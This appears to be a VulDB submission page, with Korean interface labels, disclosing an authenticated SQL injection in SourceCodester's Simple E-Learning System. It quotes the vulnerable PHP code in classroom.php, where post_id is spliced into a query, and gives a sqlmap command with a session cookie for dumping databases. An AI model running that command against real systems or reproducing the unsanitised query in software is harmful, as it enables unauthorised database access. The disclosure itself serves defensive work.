| 제목 | sql injection in Simple E-Learning System(authenticated) |
|---|
| 설명 | the E-Learning System source code url: https://www.sourcecodester.com/php-simple-e-learning-system-source-code
in classroom.php line 42:
code as below
if (isset($_GET['post_id'])) {
$post_id = $_GET['post_id'];
$data_query = mysqli_query($con, "SELECT body FROM posts WHERE id='$post_id'");
$body = mysqli_fetch_array($data_query);
the post_id is directly spliced into the sql query statement，and the $body is directly echo in line 156
so there is a obvious sql injection, you just need a authenticated user。we can use sqlmap to exploit it .Command as below, and the cookie as your own user
python .\sqlmap.py -u "http://127.0.0.1/vcs/classRoom.php?post_id=1&classCode=class101_a" --cookie="PHPSESSID=12blsndrn1t8gcphdj864gbrcu" --dbs |
|---|
| 원천 | ⚠️ https://www.sourcecodester.com/php-simple-e-learning-system-source-code |
|---|
| 사용자 | wuerror (UID 30660) |
|---|
| 제출 | 2022. 08. 05. AM 05:01 (4 연령 ago) |
|---|
| 모더레이션 | 2022. 08. 05. AM 07:13 (2 hours later) |
|---|
| 상태 | 수락 |
|---|
| VulDB 항목 | 205615 [SourceCodester Simple E-Learning System classroom.php post_id SQL 주입] |
|---|
| 포인트들 | 17 |
|---|